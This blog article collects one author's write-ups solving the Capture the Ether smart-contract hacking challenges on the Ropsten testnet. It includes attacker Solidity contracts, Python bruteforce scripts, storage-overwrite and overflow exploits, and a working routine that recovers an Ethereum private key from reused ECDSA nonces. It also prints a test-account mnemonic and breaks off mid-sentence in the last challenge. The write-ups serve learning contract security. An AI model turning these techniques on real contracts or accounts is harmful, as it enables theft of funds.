Capture the Ether solutions
This article is a collection of my solutions to the Capture the Ether challenges. In this article I will basically copy-paste all my solution write-ups from the github repo where my solutions and scripts are.
I solved these in a local brownie (smart contract development framework on python) using a local fork of the ropsten test network. After solving each challenge, I then ran the scripts that would perform the transactions on the test network itself to solve the challenges. Same as with the Ethernaut challenges.
If you want to reproduce the same environment I used for it, you can do so by following the instructions in the readme of that same github repo.
Article index
- Capture the Ether solutions
- Article index
- Warmup
- Call me
- Choose a nickname
- Lotteries
- Guess the number
- Guess the secret number
- Guess the random number
- Guess the new number
- Predict the future
- Predict the block hash
- Math
- Token sale
- Token whale
- Retirement fund
- Mapping
- Donation
- Fifty years
- Accounts
- Fuzzy identity
- Public key
- Account takeover
- Miscellaneous
- Assume ownership
- Token bank
Warmup
Call me
Objectives
To complete this challenge, all you need to do is call a function.
Solution
Call the callme()
function to turn isComplete
into true
.
Submission transaction
https://ropsten.etherscan.io/tx/0xc65c52bbf6f4b79832a12a24cd3fb654dc021b74c055f46530b3dde55b0a3866
Choose a nickname
Objectives
To complete this challenge, set your nickname to a non-empty string.
Solution
All we have to do is call setNickname()
on the CaptureTheEther contract with the nickname as hex. In brownie I did this by encoding the string and passing in the hex value:
cte.setNickname("zooberto".encode('utf8').hex(), _from)
Submission transaction
https://ropsten.etherscan.io/tx/0x5033e566d085e7a00206039798fbaa7e88e8eba1212853351a28358672d4fb48
Lotteries
Guess the number
Objectives
I’m thinking of a number. All you have to do is guess it.
Solution
The solution is in the state variable answer
, which is 42. All we have to do is call guess()
passing 42 and with a value of 1 ether. This will return the entire balance of the contract, which is 1 ether on deployment as per the constructor + 1 ether that we send to be able to call guess()
.
Submission transaction
https://ropsten.etherscan.io/tx/0x9d8685713a4bbbdc744b5ce040c8c2107e9e5be7e0a672d1621943f08b8460b0
Guess the secret number
Objectives
This time I’ve only stored the hash of the number. Good luck reversing a cryptographic hash!
Solution
It’s not easy to reverse a hash, but it’s easy to try out the entire possible set of answers ($2^8 - 1$), as the answer n
is a uint8. We can easily bruteforce this by just hashing all $x$ with $0 \leq x \leq 2^8 - 1$ and comparing the resulting hash with answerHash
.
The correct n
turns out to be 170.
Submission transaction
https://ropsten.etherscan.io/tx/0x338819d91537aa6dc17be67cf32dbc1e14fd7ef341a3d50239bc9b9de129be31
Guess the random number
Objectives
This time the number is generated based on a couple fairly random sources.
Solution
We can deduct the number from the keccak256 hash of the block hash and the time in which the contract is deployed.
Alternatively, we can just pull the number from the state variable answer
in the storage slot 0x
.
I did the latter as follows:
answer = int(web3.eth.get_storage_at(guess_the_random_number.address, '0x').hex(), 16)
Submission transaction
https://ropsten.etherscan.io/tx/0xdd49b0fffad32c5de917f4a6436ca975e7c33358fa009407c86ef7954f9a0d98
Guess the new number
Objectives
The number is now generated on-demand when a guess is made.
Solution
We just need to code a contract that generates the number the exact same way prior to guessing it. For some reason that I don’t quite understand though, the I simply didn’t have a fallback function to receive the funds, so it worked in the constructor of the contract because before finalizing constructor execution, the funds would have already been sent to my address, but if a fallback function is added, then the funds can be properly received by the contract and the transactions won’t fail.guess()
call simply would not go through until I tried to do it through the constructor of the contract.
I coded the contract as follows:
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.5 <0.8.0;
contract GuessTheNewNumberAttack {
constructor(address payable challenge) public payable {
// low-level call success
bool success;
// check that we're forwarding the correct amount of funds
require(msg.value == 1 ether, 'msg.value should be at least 1 ether');
// get answer
uint8 answer = uint8(uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))));
// make the guess
(success,) = challenge.call{value:1 ether}(abi.encodeWithSignature("guess(uint8)", answer));
require(success, "guess failed");
// send funds back to my account
(success,) = msg.sender.call{value:address(this).balance}("");
require(success, 'call failed');
}
}
On deployment, the guess was successful (as it runs in the constructor) and the balance is sent back to my wallet. By simply deploying this contract, the challenge is solved.
This can be solved similarly in the same version of the solidity compiler that the challenge is originally using (0.4.21), but given that I’m using a newer version, there’s some small nuances due to changes in the solidity compiler since then:
block.blockhash()
has been replaced byblockhash()
now
has been deprecated in favor ofblock.timestamp
- Now it’s not possible to pass multiple parameters to the
keccak256()
hash function, so we must useabi.encodePacked()
before passing it tokeccak256()
- It is not possible to cast directly from a hash to uint8, so we must first pass through a type that has the same size in bytes as the value returned by the hash function, so we first cast to uint256 and then to uint8.
Submission transaction
https://ropsten.etherscan.io/tx/0x9127996a2073acf24ecbfbd3b7f2eeba379c91815658b98e641c7035060a1eba
Predict the future
Objectives
This time, you have to lock in your guess before the random number is generated. To give you a sporting chance, there are only ten possible answers.
Note that it is indeed possible to solve this challenge without losing any ether.
Solution
We have to follow a few steps here:
Code and deploy a contract with at least 3 functions:
- One that locks in the guess (calling
lockInGuess()
) - One that calls
settle()
but only if it knows the guess will work - One fallback function to receive ETH
- One that locks in the guess (calling
The function that calls
settle()
is specially important, it has to generate the answer just like the PredictTheFutureChallenge contract, but it should only attempt to do this settle if the answer is equal to the guess made when we calllockInGuess()
. I defined it as follows:
function callSettle() public {
// prevent the tx from continuing if the answer is not going to pass as correct
uint8 answer = uint8(uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))) % 10;
require(answer == 0, "tx will fail and guesser will be overwritten");
// make the guess and check if the challenge is complete, otherwise revert
challenge.settle();
require(challenge.isComplete(), "challenge not complete yet");
// send funds to my address
(bool success,) = msg.sender.call{value:address(this).balance}("");
require(success, "call failed");
}
- Iteratively call this
callSettle()
function until the guess goes through. I did it as follows:
# call settle until it works, because `guess` is already 0
while True:
# check if the challenge is completed
result = predict_the_future.isComplete()
print(f'The challenge is complete: {result}')
if result:
break
# call settle
try:
attacker.callSettle(_from | {'allow_revert':True})
except:
pass
# check if the guesser has been overwritten
guesser = web3.eth.get_storage_at(predict_the_future.address, '0x').hex()
print(f'The guesser is: {guesser}')
if attacker.address[-40:].upper() != guesser[-40:].upper():
print('guesser has been overwritten')
break
Here I call the function until either the challenge is complete, or if the guesser changes to the null address. I had this last check because if I were to generate a different guess than what I coded in the attacker contract and the settle()
function was successfully called, then we would have to call lockInGuess()
again to make guesser = msg.sender
and not the null address. This scenario, however, is probably not possible.
Eventually, after a few tries, the attempt will go through if it passes. This can still be done if the set of possible answers is larger than just 10, but it would probably take much longer (unless we get lucky).
Submission transaction
https://ropsten.etherscan.io/tx/0xb065fda4383b65408dd6f021f12071a44b4d44d24106fd5be006287f2fee4d05
Predict the block hash
Objectives
Guessing an 8-bit number is apparently too easy. This time, you need to predict the entire 256-bit block hash for a future block.
Solution
In both the Solidity compiler version 0.4.21 (for block.blockhash()
) and ^0.8.0 (for blockhash()
), the function to obtain the block hash from a block number only returns the hash for the 256 most recent blocks.
As a result, to pass the challenge we must:
- Call
lockInGuess()
with thehash
value0x0000000000000000000000000000000000000000000000000000000000000000
- Wait for this previous transaction to have about 256 block confirmations
- Call the
settle()
function, which should now always return0x0000000000000000000000000000000000000000000000000000000000000000
foranswer
, given thatsettlementBlockNumber
will be 256+ blocks in the past.
Submission transaction
Math
Token sale
Objectives
This token contract allows you to buy and sell tokens at an even exchange rate of 1 token per ether. The contract starts off with a balance of 1 ether. See if you can take some of that away.
Solution
While incredibly simple, this problem took me days to solve, as I was not aware (or forgot) of a few things:
- Floating point numbers do not exist in Solidity (as of writing this).
- Operations in Solidity between whole numbers which would yield a floating point number are immediate rounded down at every step, so an arithmetic equation consisting of multiple operations would be applied a floor function at every step of the operation, e.g. $2 \div 3 * 7 \div 2 \rightarrow \lfloor\lfloor\lfloor 2 \div 23 \rfloor * 7 \rfloor \div 2 \rfloor$.
- It is extremely difficult to get a perfect 0 after an integer overflow using products, therefore, in order to solve this problem, it’s nearly impossible that the price for which I’ll be able to buy the tokens (each worth 1 ether) will be exactly zero wei.
- I completely forgot that python will do things in the background with math, like for example:
1e18
is immediately considered a float, even though it’s a whole number, therefore, to have1e18
as an integer, I should be writingint(1e18)
.
To solve it:
All that’s needed to be passed to numTokens
is a value that when multiplied by $10^{18}$ will yield a number that we can:
- Pay for in wei that is lower than $10^{18}$ itself
- As low as possible (ideally) as long as condition 1 holds
For this you can create a simple function that will be the base to the overflow exploit, for example:
$$f(x) = \lfloor (\frac{2^{256} * x}{10^{18}} + 1) * 10^{18}\rfloor\mod 2^{256}$$
Then optimize for $min(f(x))$ while $x > 0$. I did this by bruteforce and made a simple neat table with the best numbers I got:
| f(x) | x | |—————–:|—————————-:| | 265665118208 | 549972 | | 531330236416 | 1099944 | | 730579075072 | 1512423 | | 996244193280 | 2062395 | | 1261909311488 | 2612367 |
I used this simple script to do it and then neatly pack it on one dataframe:
from math import floor
import numpy as np
import pandas as pd
# make list to optimize
best_vals = {'ideal_overflow':[], 'ideal_overflow_multiplier':[], 'loop_range':[]}
# minimizing for the remainder gas to send
overflow_computation = lambda x: (floor(int(int(2**256)*x) // int(1e18)) + 1) * int(1e18) % int(int(2**256))
np_overflow_computation = np.vectorize(overflow_computation)
# loop a bunch of times
for i in range(1, 200):
range_to_test = np.arange(i*int(5e5), (i+1)*int(5e5), 1)
tested_range = np_overflow_computation(range_to_test)
ideal_overflow = np.min(tested_range)
ideal_overflow_multiplier = np.where(tested_range == ideal_overflow)
# construct csv
best_vals['ideal_overflow'].append(ideal_overflow)
best_vals['ideal_overflow_multiplier'].append(range_to_test[ideal_overflow_multiplier][0])
best_vals['loop_range'].append((np.min(range_to_test), np.max(range_to_test)))
best_vals = pd.DataFrame(best_vals)
best_vals.to_csv('best_vals.csv')
print(best_vals.sort_values(by='ideal_overflow'))
In this case, I’d simply choose the lowest one for f(x)
and make the function calls:
Call
buy()
passing in $(\frac{2^{256} * 549972}{10^{18}} + 1)$ asnumTokens
.Call
sell()
passing in $1$ asnumTokens
.Check if the challenge is complete by calling
isComplete()
or just clicking on Check Solution on the Capture The Ether site.
Alternative (better) solution
I asked a question on the Ethereum StackExchange regarding some of my lack of understanding of solidity mathematical operations and Usmann was kind enough to write a better solution than mine which allows you to solve this while being able to send 0 wei to the contract. His solution was layed out in his answer to my question here.
Submission transaction
https://ropsten.etherscan.io/tx/0x8b95f854e11e1b9a50f38f689d44bc018f65abc19753af497838b1ad5987b6ca
Token whale
Objectives
This ERC20-compatible token is hard to acquire. There’s a fixed supply of 1,000 tokens, all of which are yours to start with. Find a way to accumulate at least 1,000,000 tokens to solve this challenge.
Solution
The transferFrom()
function in this contract is using the same _transfer()
internal function as transfer()
, however, transferFrom()
should be deducting tokens from the address whose tokens are being moved out, so the address we pass as from
in transferFrom()
, however, it instead deducts it from msg.sender
.
Because of this bug and the fact that the contract is using Solidity 0.4.21, this opens the contract up for an integer overflow bug. All we have to do to exploit it is to:
Call
approve()
from address 1 to approve address 2 to move tokens out of address 1Call
transferFrom()
from address 2 and make sure that the receiving address is either address 1 or another address that is not address 2Call
transfer()
from address 2 to send at least 1M tokens to address 1Call
isComplete()
to check
Submission transaction
https://ropsten.etherscan.io/tx/0x038d72cb3b179c25582068f2d8a2ac3d701eabcf997ce918a424525ccf21bef5
Retirement fund
Objectives
This retirement fund is what economists call a commitment device. I’m trying to make sure I hold on to 1 ether for retirement. I’ve committed 1 ether to the contract below, and I won’t withdraw it until 10 years have passed. If I do withdraw early, 10% of my ether goes to the beneficiary (you!). I really don’t want you to have 0.1 of my ether, so I’m resolved to leave those funds alone until 10 years from now. Good luck!
Solution
The function collectPenalty()
allows us to withdraw the entire balance of the contract if:
startBalance
is more than the total contract balance- If there’s an overflow where the balance of the contract is larger than
startBalance
In this case, we simply cannot call withdraw()
or somehow move funds away from the contract in any other way aside from option number 2. Therefore, because the contract has no payable function, we have to somehow force funds into the contract.
An easy way to do this is to deploy another contract, fund it with at least 1 wei and then destroy it calling selfdestruct()
in any of the contract functions and directing the contract funds into the retirement fund contract. This will allow us to cause an overflow that causes withdrawn
to be larger than 0 and therefore drains the contract.
The buggy line in question:
uint256 withdrawn = startBalance - address(this).balance;
Nothing critical that allows drainage of funds should rely on the value of the contract balance. At least not on the upside, since anyone can simply force funds into the contract.
Submission transaction
https://ropsten.etherscan.io/tx/0x2e1da049d1bc5a70bccc081c4734c9ebd3f8ada241252ffdbd261fc230918f86
Mapping
Objectives
Who needs mappings? I’ve created a contract that can store key/value pairs using just an array.
Solution
Through the set()
function, it’s possible to overflow the length of the array by passing in the maximum allowable uint256 minus 2 (as key
).
function set(uint256 key, uint256 value) public {
// Expand dynamic array as needed
if (map.length <= key) {
map.length = key + 1;
}
map[key] = value;
}
After passing this value as key
, the length of the array will be the maximum allowable uint256, which allows us to manipulate every single element in this contract’s storage, including isComplete
.
Given that isComplete
is in the first contract storage slot, we can find the hash of this item as if it was part of the map[]
array. That position will simply be the keccak256 hash of a uint256 that is 1
, in this case:
$$0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6$$
We then subtract the value of this hash from the size of slots in memory that a contract can have, which is the maximum uint256 + 1, so $2^{256}$, therefore:
$$2^{256} - int(0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6)$$
The hex value of this number is:
$$0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a$$
With this value we can now call set()
with key = 0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a
and with value = 1
. Which overwrites the 0x0000000000000000000000000000000000000000000000000000000000000000
that is held in this memory slot representing the value of isComplete
with 0x0000000000000000000000000000000000000000000000000000000000000001
which as a bool
represents the value true
.
Therefore, when we call the getter isComplete()
for this state variable (since it’s a public variable), we get true
and the challenge is complete.
Submission transaction
https://ropsten.etherscan.io/tx/0x9e77f98e6cf3eba43ed8d4ce2f176d9c25e7f0116d2a7b2e0a51fbfb058eba52
Donation
Objectives
A candidate you don’t like is accepting campaign contributions via the smart contract below. To complete this challenge, steal the candidate’s ether.
Solution
The function donate()
contains a bug:
function donate(uint256 etherAmount) public payable {
// amount is in ether, but msg.value is in wei
uint256 scale = 10**18 * 1 ether;
require(msg.value == etherAmount / scale);
Donation donation;
donation.timestamp = now;
donation.etherAmount = etherAmount;
donations.push(donation);
}
The variable donation
is not initialized, so it is defaulted to storage. As a result, donation
now is a pointer that affects storage slot 0 (donations
) and storage slot 1 (owner
). As a result, whatever value is assigned to these two variables, but in particular, to etherAmount
, will write to those two storage slots.
donation.timestamp = now;
donation.etherAmount = etherAmount;
To complete the challenge, all you have to do is pass the uint conversion of your address divided by scale
as etherAmount
, after this, you can call withdraw()
and drain the contract.
In Python I did it as follows:
donation.donate(acc.address, _from | {'value':floor(int(acc.address,16)//1e36)})
Where:
_from
is {‘from’:acc.address}acc
is my loaded account through my private key (the account doing the capture the ether challenges)floor()
is the floor function//
is integer divisionint(acc.address, 16)
is the conversion to int of my address (basically hexadecimal $\rightarrow$ decimal)
Submission transaction
https://ropsten.etherscan.io/tx/0x5fc76f733f3384fa064f8d10acda683ca35cd683dc47781aa2e9d5ef9913f5b8
Fifty years
Objectives
This contract locks away ether. The initial ether is locked away until 50 years has passed, and subsequent contributions are locked until even later. All you have to do to complete this challenge is wait 50 years and withdraw the ether. If you’re not that patient, you’ll need to combine several techniques to hack this contract.
Solution
Theres some exploitable mistakes in upsert()
. We can solve this challenge as follows:
- Call
upsert()
with:index
as a value larger than 0 (length ofqueue
), in my case I used 1, this would send us to the else block of that if statement.timestamp
as the largest uint256 minus the seconds in a day (86400). We know block timestamps are set in unix time, which is measured in seconds, and that the require statement in the else block checks that the timestamp we input is larger than the timestamp of the previous element to the one we add + one day (86400 seconds).- Sending exactly 1 wei, which makes
queue.length = 1
, we need this to be able to add an additional element toqueue
.
Calling upsert()
with these parameters will cause the code in the else
block to run, which never initializes contribution
. Therefore, we would be overwriting:
* The contents of queue
’s length, because the length of a dynamically-sized array is the first property of it that’s stored in a contract’s storage.
* The contents of head
with the value of this block timestamp. This is not particularly relevant because we will then overwrite the contents of head
again, but it’s important to mention that it will also do this.
- Call
upsert()
again with:index
as 1, which would still go to the else blocktimestamp
as 0. in this case we want to overwrite the value ofhead
with 0, since we made it $2^{256} - 86400$ before and this would not allow us to callwithdraw()
, because the currentblock.timestamp
would be much smaller than $2^{256} - 86400$- Sending exactly 1 wei, as we want to retain the length of
queue
.
In this case, we now have head
as 0, which allows us to call withdraw()
and also include the first contract deposit in the withdrawal amount, which is the first element of the queue
array.
- Call
withdraw()
withindex = 1
. We now can callwithdraw()
because the timestamp in the second struct of the array is 0, which is always lower thanblock.timestamp
and becausehead
is still 0, it’ll allow us to withdraw the full contract balance.
Submission transaction
https://ropsten.etherscan.io/tx/0xce1ed34369e62875cbab92681c06960b8edbd8b2cc6b71da2eca5c617559e7bf
Accounts
Fuzzy identity
Objectives
This contract can only be used by me (smarx). I don’t trust myself to remember my private key, so I’ve made it so whatever address I’m using in the future will work:
- I always use a wallet contract that returns “smarx” if you ask its name.
- Everything I write has bad code in it, so my address always includes the hex string badc0de.
To complete this challenge, steal my identity!
Solution
There’s two conditions we need to satisfy to successfully pass the two require statements in authenticate()
:
- When we call the
authenticate()
function from a contract, there must be aname()
function defined in the calling contract that returns “smarx”, I defined it as follows:
function name() public view returns (bytes32) {
return bytes32("smarx");
}
- We need that our contract address has the particular property that when it is operated with the
mask
as defined inisBadCode
using a bitwise and (&
) that its returning value is the value ofid
, which is any hex withbadc0de
in it, in any position.
This last particular quality is especially difficult to attain (at least compared to the first one). The reason for this is that we need to bruteforce the address of this to-be-deployed contract that we will use to interact with the FuzzyIdentityChallenge contract.
Given that contract addresses are deterministic and computed using the deployer’s address and the nonce in which the contract wil be deployed, we can generate lots of different contract addresses in three ways in order to bruteforce it:
Utilizing one address and increasing the nonce by one until we find it
Utilizing many addresses and the nonce 0, meaning that the first transaction each address makes will be the attacker contract deployment
Mixing 1 and 2 by creating many addresses and testing each address up to a specific nonce
No matter the approach, we then have to bruteforce one address+nonce combination for which the condition in isBadCode()
is met.
This takes a long time. There probability that the string badc0de
appears written exactly like that is of $\frac{1}{16^{7}} \approx 0.000000004$, which is slightly alleviated by the fact that we can have it in 34 different positions, which increases the probability significantly ($\frac{1}{16^{7}} * 34 \approx 0.000000136$, but this still requires millions of tries.
It certainly does not particularly help that I chose python to do this, as python is notoriously slow, this would’ve been much faster to run in a compiled, low-level programming language, albeit much more time consuming to code.
Once the account+nonce is found, all we have to do is run authenticate()
from a contract deployed by this account at the nonce we found.
My bruteforce result
The mnemonic I was able to find with my bruteforce is:
faint casino always journey city view glue drum elephant weather during maple
Which generates the address 0xB4Fb8ba4EEf20F2F64E0082a302FE3291C33F0ac
at offset 765.
This address will deploy (now has already deployed) at nonce 0 the contract 0xe8e503a2294ac68e0f9f52e2badc0de90c6e2142
which contains the badc0de
string.
Submission transaction
https://ropsten.etherscan.io/tx/0x01bbd72aa9f8332658164820b190430404eb1dc956dd53fb26b21d3a9b2fafdf
Public key
Objectives
Recall that an address is the last 20 bytes of the keccak-256 hash of the address’s public key. To complete this challenge, find the public key for the owner’s account.
Solution
The public key associated with an address can be derived from a transaction signature. In this case, the account’s public key we need can indeed be derives as the account has made at least one transaction.
The transaction in question has the following hash: 0xabc467bedd1d17462fcc7942d0af7874d6f8bdefee2b299c9168a216d3ff0edb
.
This transaction is the only transaction that this account has signed, but because it was signed by this address and it’s an outgoing transaction, we can derive the public key from this specific transaction’s v
, r
and s
.
This is detailed in Appendix F of the ethereum yellowpaper, where the methodology of generating transaction signatures is defined.
Putting these three values together we can reconstruct the signature and recover the public key from the message hash. Which turns out to be:
0x613a8d23bd34f7e568ef4eb1f68058e77620e40079e88f705dfb258d7a06a1a0364dbe56cab53faf26137bec044efd0b07eec8703ba4a31c588d9d94c35c8db4
Submission transaction
https://ropsten.etherscan.io/tx/0xce1ed34369e62875cbab92681c06960b8edbd8b2cc6b71da2eca5c617559e7bf
Account takeover
Objectives
To complete this challenge, send a transaction from the owner’s account.
Solution
An Ethereum transaction is composed of several different things. In particular, transactions prior to EIP-1559, have the following parameters:
{
"nonce": 0,
"gasPrice": 1000000000,
"gasLimit": 21000,
"to": "0x92b28647Ae1F3264661f72fb2eB9625A89D88A31",
"value": 1230000000000000000,
"data": "0x",
"v": 41,
"r": "0x69a726edfb4b802cbf267d5fd1dabcea39d3d7b4bf62b9eeaeba387606167166",
"s": "0x7724cedeb923f374bef4e05c97426a918123cc4fec7b07903839f12517e1b3c8"
}
The Keccak256 hash of the RLP encoding of the concatenation of these values is this transaction’s hash (its unique identifier).
In particular, the parameters v
, r
and s
are used to sign Ethereum transactions using the private key of the sender of this transaction. Ethereum transaction signatures use a specification of ECDSA defined in Appendix F of the Ethereum yellowpaper.
According to ECDSA, the value of k
(I will refer to it as r
given that this is the letter used to refer to k
in Ethereum) has to be a cryptografically secure random integer. This integer has to necessarily be chosen in a cryptografically secure random way, it should never be the same for two transactions and it should also never be predictable (if tx A uses r
, tx B should not use something like r+1
).
In this challenge, the address in question (0x6B477781b0e68031109f21887e6B5afEAaEB002b
), specified in the owner
state variable of the challenge contract, has used r
in two distinct transactions. As a result of this repeated use of r
, we can actually derive the private key of this address (more on why this is possible in this excellent wikipedia article) solving a simple system of equations.
To solve the system of equations, we need to first gather some information from these transactions. This should be trivial, but Ethereum has changed quite significantly since the creation of this challenge, so obtaining some of the information required to solve the system of equations is certainly, in my opinion, not the easiest task in the universe, but it’s possible.
Parameters required
r
r
: We need to get the repeatedr
value used for both transactions. This is relatively easy, all you need to do is pull all the transactions the address has made and look for the ones that have the samer
. I did this by pulling all the data for this address from the Etherscan API:
txs = requests.get(f'https://api-ropsten.etherscan.io/api?module=account&action=txlist&address=0x6b477781b0e68031109f21887e6b5afeaaeb002b&startblock=0&endblock=99999999&page=1&offset=269&sort=asc&apikey={os.environ["ETHERSCAN_API_KEY"]}').json()
After this, I gathered all the hashes for all the transactions and loaded them into python using web3.py:
txs = [web3.eth.get_transaction(tx['hash']) for tx in txs['result']]
I then used Counter
from the awesome collections
library to count all the r
values and see which is the repeated one:
repeated_r = list({v:k for k,v in Counter([tx['r'].hex() for tx in txs]).items() if v > 1}.values())[0]
And then identified which were the transactions that had this r
value, and they turn out to be the first and second transactions the address has made:
txs_with_repeated_r = [tx for tx in txs if tx['r'].hex() == repeated_r]
Now that we have identified the transactions and acquired the r
, we can now continue gathering what we need to derive the private key. For later, let’s call this value $r$.
s
s
: This is trivial, we have the transaction objects and all we need to get is thes
for both transactions, we can call these $s_1$ (for the first tx) and $s_2$ (for the second tx). To get them in python, I did this:
s1,s2 = (tx['s'].hex() for tx in txs_with_repeated_r)
z
z
: There’s going to be two values ofz
, one per transaction, let’s call them $z_1$ and $z_2$.
$z$ is the message hash. For this you take all the transaction’s parameters that are used to create the transaction hash and change a few important fields.
In this case, the message hash will be a simulated transaction with the ordinary parameters that goes into its hash, but with v
changed for its chain id (3 for ropsten), r
empty and s
empty.
- For transaction 1 (nonce 0), with the corresponding changes:
{
"nonce": 0,
"gasPrice": 1000000000,
"gasLimit": 21000,
"to": "0x92b28647Ae1F3264661f72fb2eB9625A89D88A31",
"value": 1230000000000000000,
"data": "",
// changes here
"v": 3,
"r": "",
"s": ""
}
- For transaction 2 (nonce 1) with the corresponding changes:
{
"nonce": 1,
"gasPrice": 1000000000,
"gasLimit": 21000,
"to": "0x92b28647Ae1F3264661f72fb2eB9625A89D88A31",
"value": 1811266580600000000,
"data": "",
// changes here
"v": 3,
"r": "",
"s": ""
}
Also important to note is that obviously, prior to encoding, the values should all be in bytes and should all be concatenated. As a result, your transactions’ parameters should look like this:
For transaction 1
- In hex:
{
"nonce": "",
"gasPrice": "0x3b9aca00",
"gasLimit": "0x5208",
"to": "0x92b28647ae1f3264661f72fb2eb9625a89d88a31",
"value": "0x1111d67bb1bb0000",
"data": "",
"v": "0x03",
"r": "",
"s": ""
}
- In python as bytes:
{
'nonce': b'',
'gasPrice': HexBytes('0x3b9aca00'),
'gasLimit': HexBytes('0x5208'),
'to': HexBytes('0x92b28647ae1f3264661f72fb2eb9625a89d88a31'),
'value': HexBytes('0x1111d67bb1bb0000'),
'data': b'',
'v': HexBytes('0x03'),
'r': b'',
's': b''
}
For transaction 2
- in hex:
{
"nonce": "0x01",
"gasPrice": "0x3b9aca00",
"gasLimit": "0x5208",
"to": "0x92b28647ae1f3264661f72fb2eb9625a89d88a31",
"value": "0x1922e95bca330e00",
"data": "",
"v": "0x03",
"r": "",
"s": ""
}
- in python as bytes:
{
'nonce': b'\x01',
'gasPrice': HexBytes('0x3b9aca00'),
'gasLimit': HexBytes('0x5208'),
'to': HexBytes('0x92b28647ae1f3264661f72fb2eb9625a89d88a31'),
'value': HexBytes('0x1922e95bca330e00'),
'data': b'',
'v': HexBytes('0x03'),
'r': b'',
's': b''
}
Now that we have these values as bytes, all we have to do is concatenate them and then get the Keccak256 hash of its RLP encoding. In python I defined a set of functions for this entire process which you can find in scripts/helper/utils.py
, but in a nutshell, if you have an object like the one we defined before, you can do this:
import rlp
import web3
reconstructed_tx_1 = {
'nonce': b'',
'gasPrice': HexBytes('0x3b9aca00'),
'gasLimit': HexBytes('0x5208'),
'to': HexBytes('0x92b28647ae1f3264661f72fb2eb9625a89d88a31'),
'value': HexBytes('0x1111d67bb1bb0000'),
'data': b'',
'v': HexBytes('0x03'),
'r': b'',
's': b''
}
reconstructed_tx_2 = {
'nonce': b'\x01',
'gasPrice': HexBytes('0x3b9aca00'),
'gasLimit': HexBytes('0x5208'),
'to': HexBytes('0x92b28647ae1f3264661f72fb2eb9625a89d88a31'),
'value': HexBytes('0x1922e95bca330e00'),
'data': b'',
'v': HexBytes('0x03'),
'r': b'',
's': b''
}
z1 = web3.sha3(hexstr=rlp.encode(list(reconstructed_tx_1.values())).hex()).hex()
z2 = web3.sha3(hexstr=rlp.encode(list(reconstructed_tx_2.values())).hex()).hex()
And you’ve got $z_1$ and $z_2$.
Obtaining the private key
Get $r$, which we obtained previously by looking at the transactions with repeated $r$.
Compute $z$, which is the difference between $z_1$ and $z_2$:
$$ z = z_1 - z_2 $$
Compute $s$, for which we need to contemplate all the following scenarios:
$s = s_1 + s_2$
$s = s_1 - s_2$
$s = - s_1 + s_2$
$s = - s_1 - s_2$
Or more generally:
$$s = s_1*i + s_2*j$$
Where:
$$i,j \in {1,-1}$$
This can be easily done in a double loop:
for i in [1,-1]:
for j in [1,-1]:
s = s1*i + s2*j
- Define an inverse modulus function which can compute the modular multiplicative inverse of an integer. After python 3.8 you can define it like this:
def inverse_mod(a, m):
if a == 0:
return 0
return pow(a, -1, m)
Which is exactly how it’s defined in the ecdsa
library. You can import this same function like this:
from ecdsa.numbertheory import inverse_mod
The purpose of this function is to be able to obtain the modular multiplicative inverse of integers with modulus n
, where n
is the order n
of G
of a SECP256K1 elliptic curve as used in Ethereum.
In hex, the value of this prime number is 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
.
More generally:
$$inverse_mod(a) = \bar{x} \mid \bar{a} *_n \bar{x} \equiv \bar{1}$$
Where:
- $a$ is the number for which we want to find the modular multiplicative inverse $x$, modulus $m$
- n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
- Using this function and the previously obtained values, compute
k
:
$$k = z * inverse_mod(s) \mod n$$
And then compute the private key $d$
$$d = inverse_mod® * (s_1 * k - z_1) \mod n$$
If you’re using integers, convert this final result $d$ into hex.
Python implementation
I have written a python implementation, modified from Eric Chen’s answer on the Bitcoin StackExchange:
# get private key with two k's using ecdsa-private-key-recovery
def get_private_key(r, s1, s2, z1, z2):
"""Get private key of an ethereum account
when the account has used a duplicate (or predictable) `r` (or `k` in ECDSA)
based on Eric Chen's answer on the Bitcoin Stackexchange: https://bitcoin.stackexchange.com/a/110827
"""
# convert everything to integer if it's a hex string
hex_to_int = lambda x: int(x, 16) if isinstance(x, str) else x
r, s1, s2, z1, z2 = map(hex_to_int, (r, s1, s2, z1, z2))
# SECP256K1 order n of G
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
# possible private keys
possible_pks = []
# loop over possible s1, s2 scenarios
for i in [1,-1]:
for j in [1,-1]:
z = z1 - z2
s = s1*i + s2*j
r_inv = inverse_mod(r, p)
s_inv = inverse_mod(s, p)
k = (z * s_inv) % p
d = (r_inv * (s1 * k - z1)) % p
possible_pks.append(hex(d))
return list(set(possible_pks))
Submission transaction
https://ropsten.etherscan.io/tx/0xe912a2b3ab8dee5e51e2f321bd21e753fba4fe82f7b09f09d010f6cf722a1196
Miscellaneous
Assume ownership
Objectives
To complete this challenge, become the
owner
.
Solution
In this challenge, the constructor function AssumeOwmershipChallenge()
has a typo, in Ownership
, it’s written as Owmership
. This means that what was supposed to be a constructor never ran during deployment and as a result, owner
is the null address.
This also means we can call this AssumeOwmershipChallenge()
function and become owner
, which allows us to call authenticate()
and pass the require statement that checks if we’re owner.
Submission transaction
https://ropsten.etherscan.io/tx/0xb4f21a05d9620e5884ffe28b5abf285c5b6c4124998435c13b2fb685820c2276
Token bank
Objectives
I created a token bank. It allows anyone to deposit tokens by transferring them to the bank and then to withdraw those tokens later. It uses ERC 223 to accept the incoming tokens.
The bank deploys a token called “Simple ERC223 Token” and assigns half the tokens to me and half to you. You win this challenge if you can empty the bank.
Solution
The ERC223 standard differs from the ERC20 standard in that it notifies the contract receiving the tokens when they’re sent. In this case, the implementation does it through a fallback function called tokenFallback()
which should be implemented in the contract receiving the tokens.
The TokenBankChallenge contract implements it along with a withdraw()
function. However, given this flexibility and how the withdraw()
function is coded in TokenBankChallenge, there is a re-entrancy vulnerability that allows us to call the function multiple times before the balance is updated. Not only this, but given the version of the compiler the contracts are coded in (0.4.21
